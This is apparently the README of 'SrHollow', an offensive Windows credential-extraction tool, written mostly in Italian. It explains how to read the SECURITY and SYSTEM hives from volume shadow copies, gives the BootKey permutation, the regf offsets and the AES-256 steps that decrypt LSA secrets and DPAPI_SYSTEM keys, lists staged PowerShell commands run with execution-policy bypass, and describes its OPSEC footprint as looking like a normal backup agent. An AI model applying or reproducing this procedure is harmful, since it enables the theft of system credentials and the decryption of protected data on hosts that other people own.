
Estrae i segreti LSA e le chiavi DPAPI dagli hive del registro di Windows tramite copie shadow VSS esistenti o appena create, con un parser regf inline e decifratura AES-256.
Estrazione dei segreti LSA, riutilizzo di una copia shadow VSS preesistente + parser regf inline + decifratura LSA AES-256 tramite bcrypt.dll.
\GLOBAL?? tramite NtOpenDirectoryObject + NtQueryDirectoryObject. Scegliere il HarddiskVolumeShadowCopyN con il numero più alto.SRSetRestorePointW(BEGIN_SYSTEM_CHANGE, DEVICE_DRIVER_INSTALL) da SrClient.dll.SeBackupPrivilege nel token corrente (AdjustTokenPrivileges).CreateFileW("\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\config\{SECURITY,SYSTEM}", FILE_FLAG_BACKUP_SEMANTICS) e lettura in byte[].regf inline che analizza l'hive: blocco base, tipi di cella nk/vk/lf/lh/li/ri/db/sk. Layout KeyNode, flags @0x02, lista subkey @0x1C, lista valori @0x28, chiave di sicurezza @0x2C, offset classe @0x30, lunghezza nome u16 @0x48, lunghezza classe u16 @0x4A (questo era un bug alla prima passata — la documentazione di Microsoft stessa è ambigua qui), nome @0x4C.Class di ControlSet00N\Control\Lsa\{JD, Skew1, GBG, Data} → 16 byte grezzi → permuta con [8,5,4,2,11,9,13,3,0,6,1,12,14,10,15,7].Policy\PolEKList\(default) (172 byte): salt = bytes[0x1C..0x3C]; tmpKey = SHA-256(BootKey || salt * 1000); pt = AES-256-CBC-decrypt(bytes[0x3C..], tmpKey, IV=0); chiave LSA = pt[68..100].Policy\Secrets\<name>\CurrVal\(default): stesso layout, salt-stretch con la chiave LSA invece della BootKey.DPAPI_SYSTEM: bytes[4..24] = MachineKey, bytes[24..44] = UserKey. Questi decifrano ogni master key DPAPI con scope SYSTEM sull'host.SrHollow/
├── README.md <- you are here
├── src/
│ └── SrHollow.cs <- inline regf parser + LSA AES crypto (~350 LOC, single file)
└── stages/
├── Stage1-Recon.ps1 <- read-only shadow enumeration
├── Stage1b-ReadShadowHives.ps1 <- auto-detect / auto-create shadow + slurp hives
├── Stage2-Decrypt.ps1 <- BootKey + LSA key + all secrets
└── Stage3-Report.ps1 <- formatted operator report with OPSEC footprint
src/SrHollow.cs ha zero dipendenze oltre a System.Security.Cryptography (che a sua volta fa da proxy verso bcrypt.dll). Si compila così com'è tramite Add-Type o csc.exe.
PowerShell con privilegi elevati
# 1. Read-only recon, see what shadows already exist
powershell.exe -ep bypass -File .\stages\Stage1-Recon.ps1
# 2. Extract SECURITY + SYSTEM from the newest existing shadow
# (creates one via SRSetRestorePointW if none exist)
powershell.exe -ep bypass -File .\stages\Stage1b-ReadShadowHives.ps1
# 3. Derive BootKey + LSA key + decrypt every secret
powershell.exe -ep bypass -File .\stages\Stage2-Decrypt.ps1
# 4. (Optional) formatted operator report
powershell.exe -ep bypass -File .\stages\Stage3-Report.ps1
Richiede: admin locale (per SeBackupPrivilege), un servizio Volume Shadow Copy in esecuzione o avviabile (predefinito su Windows 10/11).
Segnali attribuibili lasciati quando una shadow esiste già:
CreateFileW su \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\...AdjustTokenPrivileges che abilita SeBackupPrivilegeSHA-256 + AES-CBC standard tramite bcrypt.dll (userland, niente di notevole)Questo è lo stesso profilo di apertura file della maggior parte degli agent di backup legittimi.